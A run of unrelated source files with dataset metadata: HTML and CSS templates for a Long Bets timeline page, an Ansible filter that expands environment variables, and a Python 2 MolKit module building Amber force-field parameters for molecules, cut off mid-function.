<tr> <td class="exp"> BET<br><span class="txt">%1</span></td> <td class="exp" align="right"> REMEMBER AND REMIND </td> </tr> </table> <div class="txt-sm"> %2</div> <table cellpadding="3" cellspacing="0" border="0" width="100%"> <tr> <td class="exp" align="center"> %3 </td> </tr> </table> </div> """ # this string gets written out in its entirety to styles.css stylesheets = """ /* for the whole page, unless overridden */ body { padding: 0; margin: 0; background-image: url("./img-static/bg.jpg"); } /* Long Bets specific styles */ .exp { font-size: 11px; font-family: Verdana, Helvetica, sans-serif; } .txt-lg { font-size: 16px; font-family: Georgia, Times, serif; } .txt { font-size: 14px; font-family: Georgia, Times, serif; } .txt-sm { font-size: 11px; font-family: Georgia, Times, serif; } .txt-lt { font-size: 14px; font-family: Georgia, Times, serif; color: #666666; } .node .txt-sm { padding: 5px 0; font-size: 12px; } .key { width: 664px; margin: 10px 0; border: #ccc 1px solid; } .key td { padding: 1px; font-size: 11px; width: 50%; font-family: Verdana, Helvetica, sans-serif; text-align: center; } /* links that have not been visited */ a:link { color: #930; text-decoration: none; } /* links that have already been visited */ a:visited { color: #930; text-decoration: none; } /* applied to a link when the cursor is hovering over it */ a:hover { color: #c63; text-decoration: underline; } /* the table at the very top of the page containing the logo image */ .logotable { width: 100%; /* percent of the browser window occupied by the table */ margin: 0px; padding: 0px; } /* the table data cell which contains the logo image */ .logo { text-align: right; background-color: #000; border-bottom: 1px solid #996; } /* the table containing the title and navbar */ .titleandnav { width: 100%; /* percent of the browser window occupied by the table */ } /* the title cell itself */ .titlecell { padding: 6px 10px; /* first value: top & bottom; second: left & right */ font-family: verdana, helvetica, arial, sans-serif; /* in order of */ /* desirability */ font-size: 16px; border-top: 1px solid #996; border-bottom: 1px solid #996; color: #666; } /* the table cell which holds the navigation bar & surrounding whitespace */ .navcell { text-align: center; vertical-align: middle; padding-left: 15px; font-family: verdana, helvetica, arial, sans-serif; /* in order of */ /* desirability */ font-size: 10px; color: #666; } /* table which holds the navigation bar & horizontal whitespace, but no * vertical whitespace */ .navtable { margin-left: auto; margin-right: auto; } /* the dates on both ends of the navigation bar */ .navlabel { font-family: verdana, helvetica, arial, sans-serif; /* in order of */ /* desirability */ font-size: 10px; padding: 4px; } /* table cell that holds the "Long View Powered" image */ .power { padding-left: 15px; padding-right: 5px; text-align: right; } /* row of dates labeling the X-axis of the timeline, at the top */ .ytabletop { border-bottom: 1px dotted #996; } /* cell containing an individual date label on the X-axis of the timeline */ .ycell { text-align: center; vertical-align: top; padding: 0; font-family: verdana, helvetica, arial, sans-serif; /* in order of */ /* desirability */ font-size: 10px; } /* row of dates labeling the X-axis of the timeline, at the bottom */ .ytablebottom { border-top: 1px dotted #996; border-bottom: 1px solid #996; } /* table cell containing "Past", "Now", and "Future" at the top of the */ /* timeline*/ .pastnowcell { text-align: right; padding: 0; } /* the table containing the body of the timeline */ #datatable { border-top: 1px #ddd solid; border-right: 1px #ddd solid; background-image: url('./img-generated/timeline-bg.png'); } /* the background of each timeline bar */ .data { padding-top: 1px; padding-bottom: 1px; background-position: 200px; background-repeat: repeat-x; } /* the block that contains all of the timeline labels on the left side of * the screen. */ #labels { position: absolute; top: 26px; z-index: 3; } /* cell containing a single label on the left side of the screen */ .labelscell { font-size: 10px; font-weight: normal; font-family: verdana, helvetica, arial, sans-serif; /* in order of desirability */ color: #999; padding-top: 3px; border: 0; } /* the popups themselves */ .node { position: absolute; visibility: hidden; color: #333; width: 200px; z-index: 5; border: 1px solid #999; background-image: url(./img-static/popup-bg.gif); padding: 6px; } /* The body of the popups (eg the HTML inside the table) */ .popupcell { font-size: 10px; font-weight: normal; font-family: verdana, helvetica, arial, sans-serif; /* in order of */ /* desirability */ } /* Popup titles */ .popuptitle { font-size: 12px; } """ # override the default header top matter from the lvhtml module headerTop = """<html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>%s</title> <link rel="stylesheet" href="./styles.css" /> <script language="javascript" type="text/javascript" src="./rollover.js"></script> </head> <body onload="loadimgs();"> <img src="./img-static/no.gif" alt="" width="1" height="25" border="0"><br> <div align="center"> <table cellpadding="0" cellspacing="0" border="0" width="664"> <tr> <td colspan="3"> <img src="./img-static/timeline.gif" alt="Timeline" width="664" height="38" border="0"></td> </tr> <tr> <td class="exp" nowrap> <img src="./img-static/no.gif" alt="" width="5" height="1" border="0"> <span class="txt"><b>%s</b></span><br>  « On the Record: <a href="http://www.longbets.com/bets" target="_top">Bets</a> | <a href="http://www.longbets.com/predictions" target="_top">Predictions</a></td> <td class="navcell" align="right" nowrap> <table class="navtable" cellpadding="0" cellspacing="0" border="0"> <tr> <td class="navlabel"> %s</td> <td nowrap="nowrap">\n""" # another override headerBottom = """</td> <td class="navlabel">%s</td> </tr> </table></td> <td class="power"><img src="img-static/longview-power.gif" alt="Powered by Long View" width="89" height="22" border="0" /></td> </td> </tr> </table> <table class="key"> <tr> <td> Votes: YES <img src="img-generated/key1.png" alt="" width="65" height="12"> NO</td> <td> Discussion Intensity: LESS <img src="img-generated/key2.png" alt="" width="65" height="12"> MORE</td> </tr> </table> </div> </body> </html> """

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1

d20af14dd3e3f451b0c30965586bb3662c6ee4a4

768

py

Python

ansible/roles/kraken.config/filter_plugins/expand_config.py

yenicapotediaz/k2

90aeb6efd77371c388b1429fc443aa30673c7787

[ "Apache-2.0" ]

85

2016-10-06T23:15:14.000Z

2017-09-15T00:52:25.000Z

ansible/roles/kraken.config/filter_plugins/expand_config.py

yenicapotediaz/k2

90aeb6efd77371c388b1429fc443aa30673c7787

[ "Apache-2.0" ]

739

2016-09-19T21:48:58.000Z

2017-09-15T17:46:52.000Z

ansible/roles/kraken.config/filter_plugins/expand_config.py

yenicapotediaz/k2

90aeb6efd77371c388b1429fc443aa30673c7787

[ "Apache-2.0" ]

47

2016-09-22T21:32:12.000Z

2017-09-14T21:00:53.000Z

import copy, os from ansible import errors def expand_config(config_data): try: all_data = copy.deepcopy(expand_envs(config_data)) return all_data except Exception, e: raise errors.AnsibleFilterError( 'expand_config plugin error: {0}, config_data={1}'.format( str(e), str(config_data))) def expand_envs(obj): if isinstance(obj, dict): return { key: expand_envs(val) for key, val in obj.items()} if isinstance(obj, list): return [ expand_envs(item) for item in obj ] if isinstance(obj, basestring): return os.path.expandvars(obj) return obj class FilterModule(object): ''' Expand Kraken configuration file ''' def filters(self): return { 'expand_config': expand_config }

26.482759

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768

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768

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71

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null

0

null

0

null

0

1

0

1

d20eb1e22a6672296afae7cc1ca61eef92581ba3

53,916

py

Python

resources/mgltools_x86_64Linux2_1.5.6/MGLToolsPckgs/MolKit/amberPrmTop.py

J-E-J-S/aaRS-Pipeline

43f59f28ab06e4b16328c3bc405cdddc6e69ac44

[ "MIT" ]

8

2021-12-14T21:30:01.000Z

2022-02-14T11:30:03.000Z

resources/mgltools_x86_64Linux2_1.5.6/MGLToolsPckgs/MolKit/amberPrmTop.py

J-E-J-S/aaRS-Pipeline

43f59f28ab06e4b16328c3bc405cdddc6e69ac44

[ "MIT" ]

null

resources/mgltools_x86_64Linux2_1.5.6/MGLToolsPckgs/MolKit/amberPrmTop.py

J-E-J-S/aaRS-Pipeline

43f59f28ab06e4b16328c3bc405cdddc6e69ac44

[ "MIT" ]

null

## Automatically adapted for numpy.oldnumeric Jul 23, 2007 by ############################################################################ # # Author: Ruth HUEY, Michel F. SANNER # # Copyright: M. Sanner TSRI 2001 # ############################################################################# # $Header: /opt/cvs/python/packages/share1.5/MolKit/amberPrmTop.py,v 1.32 2007/07/24 17:30:40 vareille Exp $ # # $Id: amberPrmTop.py,v 1.32 2007/07/24 17:30:40 vareille Exp $ # #from MolKit.molecule import Atom, AtomSet, Bond from sff.amber import AmberParm import numpy.oldnumeric as Numeric, types from math import pi, sqrt, ceil, fabs from string import split, strip, join from os.path import basename from MolKit.data.all_amino94_dat import all_amino94_dat from MolKit.data.all_aminont94_dat import all_aminont94_dat from MolKit.data.all_aminoct94_dat import all_aminoct94_dat class Parm: """class to hold parameters for Amber Force Field calcuations """ def __init__(self, allDictList = [all_amino94_dat], ntDictList = [all_aminont94_dat], ctDictList = [all_aminoct94_dat]): #amber parameter reference dictionaries: if len(allDictList)==0: allDict = all_amino94_dat else: allDict = allDictList[0] if type(allDict)==types.StringType: allDict = self.getDictObj(allDict) if len(allDictList)>1: for d in allDictList: if type(d)== types.StringType: d = self.getDictObj(d) allDict.update(d) #allDict.extend(d) self.allDict = allDict if len(ntDictList)==0: ntDict = all_aminont94_dat else: ntDict = ntDictList[0] if type(ntDict)==types.StringType: ntDict = self.getDictObj(ntDict) if len(ntDictList)>1: for d in ntDictList: if type(d)== types.StringType: d = self.getDictObj(d) ntDict.update(d) #ntDict.extend(d) self.ntDict = ntDict if len(ctDictList)==0: ctDict = all_aminoct94_dat else: ctDict = ctDictList[0] if type(ctDict)==types.StringType: ctDict = self.getDictObj(ctDict) if len(ctDictList)>1: for d in ctDictList: if type(d)== types.StringType: d = self.getDictObj(d) ctDict.update(d) #ctDict.extend(d) self.ctDict = ctDict #formatD is used for write method formatD = {} for k in ['Iac', 'Iblo', 'Cno', 'Ipres', 'ExclAt']: formatD[k] = ('%6d', 12, 0) for k in ['Charges', 'Masses', 'Rk', 'Req', 'Tk', 'Teq',\ 'Pk', 'Pn', 'Phase', 'Solty', 'Cn1', 'Cn2']: formatD[k] = ('%16.8E', 5, 0) for k in ['AtomNames', 'ResNames', 'AtomSym', 'AtomTree']: formatD[k] = ('%-4.4s', 20, 0) for k in ['allHBnds', 'allBnds']: formatD[k] = ('%6d', 12, 3) for k in ['allHAngs', 'allAngs']: formatD[k] = ('%6d', 12, 4) for k in ['allHDihe', 'allDihe']: formatD[k] = ('%6d', 12, 5) self.formatD = formatD #processAtoms results are built in this dictionary self.prmDict = {} def getDictObj(self, nmstr): #mod = __import__('MolKit/data/' + nmstr) #dict = eval('mod.'+ nmstr) mod = __import__('MolKit') b = getattr(mod.data, nmstr) dict = getattr(b, nmstr) return dict def loadFromFile(self, filename): """reads a parmtop file""" self.prmDict = self.py_read(filename) self.createSffCdataStruct(self.prmDict) def processAtoms(self, atoms, parmDict=None, reorder=1): """finds all Amber parameters for the given set of atoms parmDict is parm94_dat """ if atoms: self.build(atoms, parmDict, reorder) self.createSffCdataStruct(self.prmDict) print 'after call to createSffCdataStruct' def checkSanity(self): d = self.prmDict #length checks: Natom = d['Natom'] assert len(d['Charges']) == Natom assert len(d['Masses']) == Natom assert len(d['Iac']) == Natom assert len(d['Iblo']) == Natom assert len(d['AtomRes']) == Natom assert len(d['N14pairs']) == Natom assert len(d['TreeJoin']) == Natom Nres = d['Nres'] assert len(d['Ipres']) == Nres + 1 assert len(d['AtomNames']) == Natom * 4 + 81 assert len(d['AtomSym']) == Natom * 4 + 81 assert len(d['AtomTree']) == Natom * 4 + 81 assert len(d['ResNames']) == Nres * 4 + 81 #Ntypes is number of unique amber_types w/equiv replacement Ntypes = d['Ntypes'] assert len(d['Cno']) == Ntypes**2 assert len(d['ExclAt']) == d['Nnb'] assert len(d['Cn1']) == Ntypes*(Ntypes+1)/2. assert len(d['Cn2']) == Ntypes*(Ntypes+1)/2. #Numbnd is number of bnd types Numbnd = d['Numbnd'] assert len(d['Rk']) == Numbnd assert len(d['Req']) == Numbnd #Numang is number of angle types Numang = d['Numang'] assert len(d['Tk']) == Numang assert len(d['Teq']) == Numang #Numptra is number of dihe types Nptra = d['Nptra'] assert len(d['Pk']) == Nptra assert len(d['Pn']) == Nptra assert len(d['Phase']) == Nptra assert len(d['Solty']) == d['Natyp'] #Nbona is number of bonds w/out H Nbona = d['Nbona'] assert len(d['BondAt1']) == Nbona assert len(d['BondAt2']) == Nbona assert len(d['BondNum']) == Nbona #Nbonh is number of bonds w/ H Nbonh = d['Nbonh'] assert len(d['BondHAt1']) == Nbonh assert len(d['BondHAt2']) == Nbonh assert len(d['BondHNum']) == Nbonh #Ntheta is number of angles w/out H Ntheta = d['Ntheta'] assert len(d['AngleAt1']) == Ntheta assert len(d['AngleAt2']) == Ntheta assert len(d['AngleAt3']) == Ntheta assert len(d['AngleNum']) == Ntheta #Ntheth is number of angles w/ H Ntheth = d['Ntheth'] assert len(d['AngleHAt1']) == Ntheth assert len(d['AngleHAt2']) == Ntheth assert len(d['AngleHAt3']) == Ntheth assert len(d['AngleHNum']) == Ntheth #Nphia is number of dihedrals w/out H Nphia = d['Nphia'] assert len(d['DihAt1']) == Nphia assert len(d['DihAt2']) == Nphia assert len(d['DihAt3']) == Nphia assert len(d['DihAt4']) == Nphia assert len(d['DihNum']) == Nphia #Nphih is number of dihedrals w/ H Nphih = d['Nphih'] assert len(d['DihHAt1']) == Nphih assert len(d['DihHAt2']) == Nphih assert len(d['DihHAt3']) == Nphih assert len(d['DihHAt4']) == Nphih assert len(d['DihHNum']) == Nphih ##WHAT ABOUT HB10, HB12, N14pairs, N14pairlist #value based on length checks: #all values of BondNum and BondHNum in range (1, Numbnd) for v in d['BondNum']: assert v >0 and v < Numbnd + 1 for v in d['BondHNum']: assert v >0 and v < Numbnd + 1 #all values of AngleNum and AngleHNum in range (1, Numang) for v in d['AngleNum']: assert v >0 and v < Numang + 1 for v in d['AngleHNum']: assert v >0 and v < Numang + 1 #all values of DihNum and DihHNum in range (1, Nptra) for v in d['DihNum']: assert v >0 and v < Nptra + 1 for v in d['DihHNum']: assert v >0 and v < Nptra + 1 def createSffCdataStruct(self, dict): """Create a C prm data structure""" print 'in createSffCdataStruct' self.ambPrm = AmberParm('test1', parmdict=dict) print 'after call to init' def build(self, allAtoms, parmDict, reorder): # find out amber special residue name and # order the atoms inside a residue to follow the Amber convention self.residues = allAtoms.parent.uniq() self.residues.sort() self.fixResNamesAndOrderAtoms(reorder) # save ordered chains self.chains = self.residues.parent.uniq() self.chains.sort() # save ordered atoms self.atoms = self.residues.atoms # renumber them self.atoms.number = range(1, len(allAtoms)+1) print 'after call to checkRes' self.getTopology(self.atoms, parmDict) print 'after call to getTopology' if reorder: self.checkSanity() print 'passed sanity check' else: print 'skipping sanity check' return def reorderAtoms(self, res, atList): ats = [] rlen = len(res.atoms) if rlen!=len(atList): print "atoms missing in residue", res print "expected:", atList print "found :", res.atoms.name for i in range(rlen): a = atList[i] for j in range(rlen): b = res.atoms[j] # DON'T rename HN atom H, HN1->H1, etc... # use editCommands instead #if b.name=='HN': b.name='H' #elif len(b.name)==3 and b.name[:2]=='HN': #b.name ='H'+b.name[2] if b.name==a: ats.append(b) break if len(ats)==len(res.atoms): res.children.data = ats res.atoms.data = ats def fixResNamesAndOrderAtoms(self, reorder): # level list of atom names used to rename residues # check is HIS is HIS, HID, HIP, HIE, etc... residues = self.residues last = len(residues)-1 for i in range(len(residues)): residue = residues[i] chNames = residue.atoms.name amberResType = residue.type if amberResType=='CYS': returnVal = 'CYS' #3/21: if 'HSG' in chNames or 'HG' in chNames: amberResType ='CYS' elif 'HN' in chNames: amberResType = 'CYM' else: amberResType = 'CYX' elif amberResType=='LYS': # THIS DOESN'T SUPPORT LYH assigned in all.in returnVal = 'LYS' if 'HZ1' in chNames or 'HZN1' in chNames: amberResType ='LYS' else: amberResType ='LYN' elif amberResType=='ASP': returnVal = 'ASP' #3/21 if 'HD' in chNames or 'HD2' in chNames: amberResType ='ASH' else: amberResType ='ASP' elif amberResType=='GLU': returnVal = 'GLU' #3/21 if 'HE' in chNames or 'HE2' in chNames: amberResType ='GLH' else: amberResType ='GLU' elif amberResType=='HIS': returnVal = 'HIS' hasHD1 = 'HD1' in chNames hasHD2 = 'HD2' in chNames hasHE1 = 'HE1' in chNames hasHE2 = 'HE2' in chNames if hasHD1 and hasHE1: if hasHD2 and not hasHE2: amberResType = 'HID' elif hasHD2 and hasHE2: amberResType = 'HIP' elif (not hasHD1) and (hasHE1 and hasHD2 and hasHE2): amberResType = 'HIE' else: print 'unknown HISTIDINE config' raise ValueError residue.amber_type = amberResType if residue == residue.parent.residues[0]: residue.amber_dict = self.ntDict[amberResType] elif residue == residue.parent.residues[-1]: residue.amber_dict = self.ctDict[amberResType] else: residue.amber_dict = self.allDict[amberResType] if reorder: self.reorderAtoms(residue, residue.amber_dict['atNameList']) def processChain(self, residues, parmDict): #this should be called with a list of residues representing a chain # NOTE: self.parmDict is parm94 which was parsed by Ruth while parmDict is # MolKit.parm94_dat.py dict = self.prmDict #residues = self.residues # initialize atNames = '' atSym = '' atTree = '' resname = '' masses = dict['Masses'] charges = dict['Charges'] uniqList = [] uniqTypes = {} # used to build list with equivalent names removed atypTypes = {} # used to build list without equivalent names removed allTypeList = [] # list of all types last = len(residues)-1 dict['Nres'] = dict['Nres'] + last + 1 atres = dict['AtomRes'] ipres = dict['Ipres'] maxResLen = 0 for i in range(last+1): res = residues[i] atoms = res.atoms nbat = len(atoms) if nbat > maxResLen: maxResLen = nbat ipres.append(ipres[-1]+nbat) resname = resname + res.amber_type + ' ' ad = res.amber_dict pdm = parmDict.atomTypes for a in atoms: # get the amber atom type name = a.name atres.append(i+1) atNames = atNames+'%-4s'%name atD = ad[name] a.amber_type = newtype = '%-2s'%atD['type'] chg = a._charges['amber'] = atD['charge']*18.2223 charges.append(chg) mas = a.mass = pdm[newtype][0] masses.append(mas) atTree = atTree+'%-4.4s'%atD['tree'] allTypeList.append(newtype) atSym = atSym+'%-4s'%newtype symb = newtype[0] if symb in parmDict.AtomEquiv.keys(): if newtype in parmDict.AtomEquiv[symb]: newsym = symb + ' ' uniqTypes[symb+' '] = 0 a.amber_symbol = symb+' ' if newsym not in uniqList: uniqList.append(newsym) else: uniqTypes[newtype] = 0 a.amber_symbol = newtype if newtype not in uniqList: uniqList.append(newtype) else: uniqTypes[newtype] = 0 a.amber_symbol = newtype if newtype not in uniqList: uniqList.append(newtype) # to get uniq list of all types w/out equiv replacement atypTypes[newtype] = 0 # post processing of some variable dict['AtomNames'] = dict['AtomNames'] + atNames dict['AtomSym'] = dict['AtomSym'] + atSym dict['AtomTree'] = dict['AtomTree'] + atTree dict['ResNames'] = dict['ResNames'] + resname # save list of unique types for later use ###1/10: #self.uniqTypeList = uniqList uL = self.uniqTypeList for t in uniqList: if t not in uL: uL.append(t) #self.uniqTypeList = uniqTypes.keys() self.uniqTypeList = uL ntypes = len(uL) dict['Ntypes'] = ntypes aL = self.atypList for t in atypTypes.keys(): if t not in aL: aL.append(t) self.atypList = aL dict['Natyp'] = len(aL) dict['Ntype2d'] = ntypes*ntypes dict['Nttyp'] = ntypes * (ntypes+1)/2 if maxResLen > dict['Nmxrs']: dict['Nmxrs'] = maxResLen newtypelist = [] for t in residues.atoms.amber_symbol: # Iac is 1-based newtypelist.append( self.uniqTypeList.index(t) + 1 ) ###1/10: #dict['Iac'] = newtypelist dict['Iac'].extend( newtypelist) def processBonds(self, bonds, parmDict): # NOTE: self,parmDict is parm94 parsed by Ruth while parmDict is # MolKit.parm94_dat.py): dict = self.prmDict bat1 = dict['BondAt1'] bat2 = dict['BondAt2'] bnum = dict['BondNum'] batH1 = dict['BondHAt1'] batH2 = dict['BondHAt2'] bHnum = dict['BondHNum'] rk = dict['Rk'] req = dict['Req'] bndTypes = {} # used to build a unique list of bond types btDict = parmDict.bondTypes #needed to check for wildcard * in type for b in bonds: a1 = b.atom1 #t1 = a1.amber_symbol t1 = a1.amber_type a2 = b.atom2 #t2 = a2.amber_symbol t2 = a2.amber_type if t1<t2: newtype = '%-2.2s-%-2.2s'%(t1,t2) else: newtype = '%-2.2s-%-2.2s'%(t2,t1) bndTypes[newtype] = 0 n1 = (a1.number-1)*3 n2 = (a2.number-1)*3 if n2<n1: tmp=n1; n1=n2; n2=tmp if a1.element=='H' or a2.element=='H': bHnum.append(newtype) batH1.append(n1) batH2.append(n2) else: bnum.append(newtype) bat1.append(n1) bat2.append(n2) dict['Numbnd'] = len(bndTypes) btlist = bndTypes.keys() for bt in btlist: rk.append( btDict[bt][0] ) req.append( btDict[bt][1] ) newbnum = [] for b in bnum: newbnum.append( btlist.index(b) + 1 ) dict['BondNum'] = newbnum newbnum = [] for b in bHnum: newbnum.append( btlist.index(b) + 1 ) dict['BondHNum'] = newbnum return def processAngles(self, allAtoms, parmDict): dict = self.prmDict aa1 = dict['AngleAt1'] aa2 = dict['AngleAt2'] aa3 = dict['AngleAt3'] anum = dict['AngleNum'] aHa1 = dict['AngleHAt1'] aHa2 = dict['AngleHAt2'] aHa3 = dict['AngleHAt3'] aHnum = dict['AngleHNum'] tk = dict['Tk'] teq = dict['Teq'] angTypes = {} atdict = parmDict.bondAngles for a1 in allAtoms: t1 = a1.amber_type for b in a1.bonds: a2 = b.atom1 if id(a2)==id(a1): a2=b.atom2 t2 = a2.amber_type for b2 in a2.bonds: a3 = b2.atom1 if id(a3)==id(a2): a3=b2.atom2 if id(a3)==id(a1): continue if a1.number > a3.number: continue t3 = a3.amber_type nn1 = n1 = (a1.number-1)*3 nn2 = n2 = (a2.number-1)*3 nn3 = n3 = (a3.number-1)*3 if n3<n1: nn3 = n1 nn1 = n3 rev = 0 if (t1==t3 and a1.name > a3.name) or t3 < t1: rev = 1 if rev: newtype = '%-2.2s-%-2.2s-%-2.2s'%(t3,t2,t1) else: newtype = '%-2.2s-%-2.2s-%-2.2s'%(t1, t2, t3) #have to check for wildcard * angTypes[newtype] = 0 if a1.element=='H' or a2.element=='H' or a3.element=='H': aHa1.append( nn1 ) aHa2.append( nn2 ) aHa3.append( nn3 ) aHnum.append(newtype) else: aa1.append( nn1 ) aa2.append( nn2 ) aa3.append( nn3 ) anum.append(newtype) atlist = angTypes.keys() torad = pi / 180.0 atKeys = atdict.keys() for t in atlist: tk.append( atdict[t][0] ) teq.append( atdict[t][1]*torad ) anewlist = [] for a in anum: anewlist.append( atlist.index( a ) + 1 ) dict['AngleNum'] = anewlist anewlist = [] for a in aHnum: anewlist.append( atlist.index( a ) + 1 ) dict['AngleHNum'] = anewlist dict['Numang'] = len(atlist) dict['Ntheth'] = len(aHa1) dict['Mtheta'] = len(aa1) dict['Ntheta'] = len(aa1) return def checkDiheType(self, t, t2, t3, t4, dict): #zero X newtype = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%(t,t2,t3,t4) if dict.has_key(newtype): return newtype newtype = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%(t4,t3,t2,t) if dict.has_key(newtype): return newtype #X newtype = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X',t2,t3,t4) if dict.has_key(newtype): return newtype newtype = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X',t3,t2,t) if dict.has_key(newtype): return newtype #2X newtype = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X',t2,t3,'X') if dict.has_key(newtype): return newtype newtype = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X',t3,t2,'X') if dict.has_key(newtype): return newtype newtype = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X','X',t3,t4) if dict.has_key(newtype): return newtype newtype = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X','X',t2,t) if dict.has_key(newtype): return newtype raise RuntimeError('dihedral type not in dictionary') ## it is slower to check a list if the key is in there than to ask a ## dictionanry if it has this key ## ## keys = dict.keys() ## #zero X ## newtype = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%(t,t2,t3,t4) ## if newtype in keys: ## return newtype ## newtype2 = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%(t4,t3,t2,t) ## if newtype2 in keys: ## return newtype2 ## #X ## newtypeX = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X',t2,t3,t4) ## if newtypeX in keys: ## return newtypeX ## newtype2X = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X',t3,t2,t) ## if newtype2X in keys: ## return newtype2X ## #2X ## newtypeX_X = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X',t2,t3,'X') ## if newtypeX_X in keys: ## return newtypeX_X ## newtype2X_X = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X',t3,t2,'X') ## if newtype2X_X in keys: ## return newtype2X_X ## newtypeXX = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X','X',t3,t4) ## if newtypeXX in keys: ## return newtypeXX ## newtype2XX = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%('X','X',t2,t) ## if newtype2XX in keys: ## return newtype2XX ## raise RuntimError('dihedral type not in dictionary') def processTorsions(self, allAtoms, parmDict): # find torsions and also excuded atoms dict = self.prmDict foundDihedTypes = {} ta1 = dict['DihAt1'] ta2 = dict['DihAt2'] ta3 = dict['DihAt3'] ta4 = dict['DihAt4'] tnum = dict['DihNum'] taH1 = dict['DihHAt1'] taH2 = dict['DihHAt2'] taH3 = dict['DihHAt3'] taH4 = dict['DihHAt4'] tHnum = dict['DihHNum'] nb14 = dict['N14pairs'] n14list = dict['N14pairlist'] iblo = dict['Iblo'] exclAt = dict['ExclAt'] dihedTypes = parmDict.dihedTypes for a1 in allAtoms: n14 = [] excl = [] t1 = a1.amber_type restyp = a1.parent.type if restyp in ['PRO', 'TRP', 'HID', 'HIE', 'HIP']: ringlist = self.AA5rings[restyp] else: ringlist = None for b in a1.bonds: a2 = b.atom1 if id(a2)==id(a1): a2=b.atom2 t2 = a2.amber_type if a2.number > a1.number: excl.append(a2.number) for b2 in a2.bonds: a3 = b2.atom1 if id(a3)==id(a2): a3=b2.atom2 if id(a3)==id(a1): continue if a3.number > a1.number: excl.append(a3.number) t3 = a3.amber_type for b3 in a3.bonds: a4 = b3.atom1 if id(a4)==id(a3): a4=b3.atom2 if id(a4)==id(a2): continue if id(a4)==id(a1): continue if a1.number > a4.number: continue excl.append(a4.number) t4 = a4.amber_type newtype = '%-2.2s-%-2.2s-%-2.2s-%-2.2s'%(t1,t2,t3,t4) dtype = self.checkDiheType(t1,t2,t3,t4,dihedTypes) for i in range(len(dihedTypes[dtype])): tname = dtype+'_'+str(i) foundDihedTypes[tname] = 0 sign3 = 1 period = dihedTypes[dtype][i][3] if period < 0.0: sign3= -1 if a4.parent==a1.parent: if ringlist and a4.name in ringlist \ and a1.name in ringlist: sign3= -1 if a1.element=='H' or a2.element=='H' or \ a3.element=='H' or a4.element=='H': taH1.append( (a1.number-1)*3 ) taH2.append( (a2.number-1)*3 ) taH3.append( sign3*(a3.number-1)*3 ) taH4.append( (a4.number-1)*3 ) tHnum.append( tname ) else: ta1.append( (a1.number-1)*3 ) ta2.append( (a2.number-1)*3 ) ta3.append( sign3*(a3.number-1)*3 ) ta4.append( (a4.number-1)*3 ) tnum.append( tname ) if sign3>0.0: # this trick work only for 6 rings and # prevents from adding 14 interactions # twice between atoms in the ring # PRO, TRP and HIS and cp. have to be handle # separately num = a4.number-1 if num not in n14: n14.append( num ) else: # make 3rd atom in torsion negative ta3[-1] = -ta3[-1] if len(excl): # excl can contain duplicated values (pro tyr phe cycles) # we also sort the values (probably only comsetics) excl.sort() last = excl[0] uexcl = [last] for i in range(1,len(excl)): if excl[i]!=last: last = excl[i] uexcl.append(last) iblo.append(len(uexcl)) exclAt.extend(uexcl) else: iblo.append( 1 ) exclAt.append( 0 ) nb14.append(len(n14)) ##!##1/28: n14.sort() n14list.extend(n14) # remember how many proper diehedrals lastProper = len(tnum) lastHProper = len(tHnum) # loop over residues to add improper torsions sumAts = 0 foundImproperDihedTypes = {} for res in self.residues: foundImproperDihedTypes = self.getImpropTors( res, sumAts, foundImproperDihedTypes, parmDict) sumAts = sumAts + len(res.atoms) #typeDict = foundDihedTypes.copy() #typeDict.update(foundImproperDihedTypes) #print typeDict.keys() dict['Nptra'] = len(foundDihedTypes) + len(foundImproperDihedTypes) dict['Mphia'] = dict['Nphia'] = len(ta1) dict['Nphih'] = len(taH1) pn = dict['Pn'] pk = dict['Pk'] phase = dict['Phase'] dtlist = foundDihedTypes.keys() torad = pi/180. for t in dtlist: index = int(t[-1]) val = dihedTypes[t[:-2]][index] # remove the '_x' pk.append(val[1]/val[0]) phase.append(val[2]*torad) pn.append(fabs(val[3])) dihedTypes = parmDict.improperDihed dtlist1 = foundImproperDihedTypes.keys() for t in dtlist1: val = dihedTypes[t] pk.append(val[0]) phase.append(val[1]*torad) pn.append(val[2]) typenum = [] dtlist = dtlist + dtlist1 for t in tnum: typenum.append( dtlist.index(t) + 1 ) # types are 1-based dict['DihNum'] = typenum typenum = [] for t in tHnum: typenum.append( dtlist.index(t) + 1 ) # types are 1-based dict['DihHNum'] = typenum dict['Nnb'] = len(dict['ExclAt']) #print len(tnum), len(dict['DihNum']) return def getImpropTors(self, res, sumAts, foundDihedTypes, parmDict): #eg tList:[['CA','+M','C','0'],['-M','CA','N','H']] dict = self.prmDict offset = sumAts * 3 nameList = res.atoms.name typeList = res.atoms.amber_type ta1 = dict['DihAt1'] ta2 = dict['DihAt2'] ta3 = dict['DihAt3'] ta4 = dict['DihAt4'] tnum = dict['DihNum'] taH1 = dict['DihHAt1'] taH2 = dict['DihHAt2'] taH3 = dict['DihHAt3'] taH4 = dict['DihHAt4'] tHnum = dict['DihHNum'] dihedTypes = parmDict.improperDihed atNameList = res.amber_dict['atNameList'] resat = res.atoms for item in res.amber_dict['impropTors']: atomNum = [] atomType = [] newTors = [] offset = res.atoms[0].number #use hasH to detect 'HZ2' etc hasH = 0 for t in item: if t[0]=='H': hasH = 1 if len(t)==2 and t[1]=='M': if t[0]=='-': atomType.append('C ') atomNum.append(offset - 2) else: atomType.append('N ') atomNum.append(offset + len(res.atoms) ) else: atIndex = atNameList.index(t) atom = resat[atIndex] atomType.append(atom.amber_type) atomNum.append( atom.number ) newType = self.checkDiheType(atomType[0], atomType[1], atomType[2], atomType[3], dihedTypes) foundDihedTypes[newType] = 0 if hasH: taH1.append( (atomNum[0]-1)*3 ) taH2.append( (atomNum[1]-1)*3 ) 